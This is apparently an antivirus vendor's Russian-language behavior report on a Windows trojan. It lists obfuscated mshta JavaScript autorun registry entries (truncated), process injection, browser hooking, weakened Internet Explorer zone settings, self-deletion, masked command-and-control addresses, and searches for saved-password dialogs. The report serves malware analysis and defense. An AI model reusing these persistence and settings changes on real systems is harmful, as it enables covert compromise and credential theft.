Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] '"89b315' = 'mshta javascript:n1DMfEhu6r="CIN8N8Jgv";wr5=new%20ActiveXObject("WScript.Shell");btnLgl4Vb="1XcC";pI4bJ=wr5.RegRe...
- [<HKLM>\software\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] '83182501' = 'mshta javascript:YdiirGLQ2="UQZjY9";P8H=new%20ActiveXObject("WScript.Shell");NSDs5WMR="zgm5Z";...
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] '"89b315' = 'mshta javascript:kgZst0Wy0="cflEU0";Zz08=new%20ActiveXObject("WScript.Shell");MHwxztWY5="TyfV1";c0I0XE=Zz08.RegRead("HKCU\\so...
Вредоносные функции
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\dllhost.exe
- %WINDIR%\syswow64\explorer.exe
следующие пользовательские процессы:
- iexplore.exe
- firefox.exe
Перехватывает функции
в браузерах
- Процесс iexplore.exe, модуль advapi32.dll
- Процесс firefox.exe, модуль advapi32.dll
Изменяет следующие настройки браузера Windows Internet Explorer
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1809' = '00000003'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1809' = '00000003'
Изменения в файловой системе
Самоудаляется.
Сетевая активность
Подключается к
- '60.##4.230.112':80
- '21#.#33.55.12':80
- '9.##.85.35':80
- '83.#9.89.92':80
- '60.##5.202.100':80
- '22#.#5.178.212':80
- '24#.#63.11.127':80
- '12#.#4.235.59':80
- '10#.#.227.209':80
- '13#.#38.69.76':80
- '12#.#0.59.35':80
- '24#.#6.137.103':80
- '12#.#18.48.163':80
- '76.##1.53.99':80
- '20#.#9.27.66':80
- '20#.#49.169.191':80
- '19#.#89.10.27':80
- '69.##4.181.25':80
- '17.##.132.30':80
- '25#.#22.6.125':80
- '16#.#04.87.109':80
- '13#.#.223.23':80
- '21#.#47.17.191':80
- '10#.#27.69.40':80
- '89.##.10.146':80
- '64.#0.25.45':80
- '45.##.138.13':80
- '18#.#34.166.156':80
- '13#.#7.95.19':80
- '25#.#95.145.226':80
- '17#.#42.14.202':80
- '17#.#3.93.107':80
- '17.##9.92.112':80
- '82.##1.53.187':80
- '99.##9.179.73':443
- '15#.#36.61.76':8080
- '22.##1.110.248':8080
- '31.##.229.219':80
- '14#.#51.224.175':80
- '20#.#81.146.252':80
- '17#.#26.29.138':80
- '74.##.157.71':80
- '51.#1.1.13':80
- '10#.#97.145.214':80
- '10#.#3.73.76':80
- '23.##.156.155':80
- '22#.#5.117.174':443
- '17#.#0.146.40':80
- '19#.#49.240.115':80
- '12.##2.27.229':80
- '33.##2.104.88':443
- '21#.#05.166.126':80
- '20#.#0.168.252':443
- '24.##3.11.172':80
- '15#.#28.11.18':80
- '70.##7.170.164':80
- '24#.#1.37.255':443
- '11#.#25.126.17':80
- '19#.#58.11.208':80
- '17#.#54.227.133':80
- '67.##5.199.182':80
- '70.##0.115.241':80
- '18#.#50.11.232':80
- '16#.#62.254.181':80
- '17#.#51.201.210':80
- '23#.#93.41.247':80
- '22#.#24.155.177':80
- '11#.#62.113.130':80
- '58.##.122.22':443
- '17#.#0.140.98':80
- '24#.#3.191.192':80
- '18#.#54.253.8':80
- '36.##2.247.156':80
- '10#.#6.242.46':80
- '13.##6.105.76':8080
- '14#.#32.137.16':8080
- '14#.#8.34.43':443
- '13.##5.59.214':80
- '62.#1.16.29':80
- '20#.#34.43.153':80
- '17#.#1.113.60':80
- '23#.#7.222.181':80
- '10#.#43.22.222':80
- '5.###.111.154':80
- '22#.#8.112.184':80
- '25#.#5.213.17':80
- '13#.#6.82.155':80
- '16#.#51.82.224':80
- '3.##.160.150':80
- '12#.#10.17.186':80
- '22#.#5.91.123':80
- '18#.#48.48.189':8080
- '19#.#.147.235':80
- '95.##8.50.229':80
- '25#.#81.147.8':80
- '10#.#6.111.184':80
- '59.##7.181.87':80
- '17#.#9.142.252':80
- '23#.#4.37.181':80
- '22#.#2.114.155':80
- '20#.#51.144.7':80
- '19#.#28.125.60':80
- '66.##0.44.132':80
- '81.##7.75.162':443
- '11#.45.6.21':80
- '18#.#24.87.45':80
- '18#.#5.23.155':8080
- '12#.#41.38.235':80
- '12#.#37.181.130':80
- '25#.#1.120.81':80
- '18#.#51.180.213':80
- '15#.#92.118.152':443
- '15#.#96.197.7':80
- '23#.#72.168.250':80
- '96.##.178.72':80
- '20#.#23.109.14':80
- '18.##5.80.186':80
- '77.##2.58.192':80
- '20#.#94.128.107':80
- '16#.#76.171.3':80
- '88.##6.56.138':80
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
- ClassName: 'SysCredential' WindowName: ''
- ClassName: 'BUTTON' WindowName: '&Remember my password'
- ClassName: 'ComboBoxEx32' WindowName: ''
- ClassName: 'Edit' WindowName: ''
Запускает на исполнение
- '%WINDIR%\syswow64\dllhost.exe'
- '%WINDIR%\syswow64\explorer.exe'
